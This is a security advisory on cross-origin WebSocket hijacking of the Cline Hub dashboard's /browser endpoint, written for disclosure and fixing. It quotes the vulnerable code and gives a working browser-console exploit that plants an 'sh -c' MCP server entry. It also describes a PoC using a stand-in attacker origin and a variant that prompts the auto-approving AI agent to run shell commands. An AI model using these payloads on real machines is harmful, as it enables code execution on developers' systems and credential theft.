Summary
Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)
Advisory details
Summary
The Cline Hub dashboard server (@cline/cline-hub), launched via the cline dashboard CLI command, accepts WebSocket connections on the /browser endpoint without validating the HTTP Origin header. When ROOM_SECRET is not set—the default for local (127.0.0.1) binds—isAuthorizedBrowserRequest() returns true unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to ws://127.0.0.1:8787/browser. An attacker-controlled page can then send desktopCommand frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to autoApprove: true for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an upsert_mcp_server frame injected a malicious stdio MCP server entry into the victim's Cline settings file with ok: true response.
Details
The vulnerable code path spans multiple files in the apps/cline-hub workspace.
No secret by default (local bind)
apps/cline-hub/src/options.ts:54–57 converts an empty ROOM_SECRET environment variable to undefined:
// apps/cline-hub/src/options.ts:54
function normalizeRoomSecret(value: string | undefined): string | undefined {
const secret = value?.trim();
return secret ? secret : undefined;
}
apps/cline-hub/src/options.ts:67–85 allows the local default host (127.0.0.1) to start without a secret, so roomSecret remains undefined in the default configuration.
Authorization bypass — Origin not checked
apps/cline-hub/src/server.ts:61–64 short-circuits all authorization when roomSecret is undefined, and performs no Origin header check at any point:
// apps/cline-hub/src/server.ts:61
function isAuthorizedBrowserRequest(url: URL): boolean {
if (!roomSecret) return true;
return url.searchParams.get("roomSecret") === roomSecret;
}
WebSocket upgrade without Origin validation
apps/cline-hub/src/server.ts:86–97 upgrades any request to /browser without inspecting the Origin header:
// apps/cline-hub/src/server.ts:86
if (url.pathname === "/browser") {
if (!isAuthorizedBrowserRequest(url)) {
return createJsonResponse({ error: "invalid_room_secret" }, 401);
}
if (server.upgrade(req, { data })) return undefined;
}
Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the Origin header but leave enforcement to the server. Because the server ignores Origin, any cross-origin JavaScript can connect.
Auto-approve tool policy for dashboard sessions
apps/cline-hub/src/server/sessions.ts:129–133 sets the default tool policy to auto-approve all tools for new dashboard sessions:
// apps/cline-hub/src/server/sessions.ts:129
toolPolicies:
options?.autoApproveTools === false
? { "*": { autoApprove: false } }
: { "*": { autoApprove: true } },
MCP settings write sink
apps/cline-hub/src/server/desktop-commands.ts:180–185 processes upsert_mcp_server commands without additional authorization. apps/cline-hub/src/server/mcp.ts:101–136 writes arbitrary stdio command entries to $CLINE_DATA_DIR/settings/cline_mcp_settings.json, which Cline executes when the MCP server is next activated.
PoC
Prerequisites
clineversion 3.0.24 installed globally- A browser (or any WebSocket client) running on the same machine as the victim
Setup
npm i -g cline@3.0.24
export CLINE_DATA_DIR="$(mktemp -d)"
cline dashboard --no-open
# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset
Exploit (browser console on any cross-origin page)
Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:
const ws = new WebSocket("ws://127.0.0.1:8787/browser");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "desktopCommand",
id: "poc-mcp-write",
command: "upsert_mcp_server",
args: {
input: {
name: "poc-cswsh",
transportType: "stdio",
command: "sh",
args: ["-c", "touch /tmp/cline-hub-cswsh-poc"],
disabled: false
}
}
}));
};
ws.onmessage = (e) => console.log(e.data);
Expected result
- The WebSocket connection is accepted without any
Originrejection. - The server responds with
{"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}. $CLINE_DATA_DIR/settings/cline_mcp_settings.jsoncontains the injectedpoc-cswshstdioMCP server entry pointing tosh -c ....- On the next MCP connection by Cline, the injected shell command executes under the victim's user account.
Docker-based dynamic reproduction
docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/
docker run --rm cswsh-poc-vuln001
# Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED
The Python PoC (poc.py) connects to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com, sends the upsert_mcp_server frame, and confirms both the ok: true response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing.
RCE variant (requires provider/model configured)
If the victim has a working AI provider configured, send a type: "send" frame with config.autoApproveTools: true and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to autoApprove: true for all tools, so no confirmation prompt is shown.
Impact
Any malicious website visited by a developer running cline dashboard on the default local configuration can:
- Read session metadata, workspace state, and provider configuration exposed through the WebSocket protocol.
- Write arbitrary MCP server entries (including
stdioentries with arbitrary shell commands) tocline_mcp_settings.json, achieving persistent code execution when Cline activates the MCP server. - Control active Cline agent sessions—with all tools auto-approved—to perform file read/write, command execution, and network operations on behalf of the victim.
- Exfiltrate credentials or API keys available in the developer's environment or Cline provider configuration.
The attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer's local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands.
Reproduction artifacts
Dockerfile
# VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
# CVE candidate: CWE-346 (Origin Validation Error)
#
# This Dockerfile builds a container that:
# 1. Installs the Bun runtime and SDK workspace dependencies
# 2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages
# 3. Installs Python 3 + websockets library for the PoC script
# 4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted)
# 5. Runs poc.py which connects with a cross-origin Origin header and
# injects an arbitrary MCP server entry into the user's settings file
FROM oven/bun:1.3
# ── System packages ──────────────────────────────────────────────────────────
RUN apt-get update && \
apt-get install -y --no-install-recommends \
python3 python3-pip curl && \
rm -rf /var/lib/apt/lists/*
# Install Python websockets library for the PoC
RUN pip3 install websockets --break-system-packages
# ── Copy source ───────────────────────────────────────────────────────────────
WORKDIR /app
# Copy the cloned repository (build context = npmAI_11_cline__cline/)
COPY
References
- https://github.com/advisories/GHSA-3cj3-hqcr-g934
- https://github.com/cline/cline/security/advisories/GHSA-3cj3-hqcr-g934
- https://nvd.nist.gov/vuln/detail/CVE-2026-59723
- https://github.com/cline/cline/pull/11724
- https://github.com/cline/cline/commit/d09270940f5746f288cfc4a5039b46a2f4d5d01e
- https://github.com/cline/cline/releases/tag/cli-v3.0.30
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-96234
Microsoft Security Advisory CVE-2026-96234 - .NET and Visual Studio Information Disclosure Vulnerability
- MEDIUMCVE-2026-107804
Nginx UI: Bundled reverse proxy can bypass IP allowlists and enable shared login lockout
- CRITICALCVE-2026-108261
TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
- HIGHCVE-2026-61435
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
- MEDIUMCVE-2026-107292
Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): the local chat endpoint does not validate the `Host` header
- HIGHCVE-2026-107295
Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): a website visited by the developer can trigger agent runs and server-side tool execution on the local chat endpoint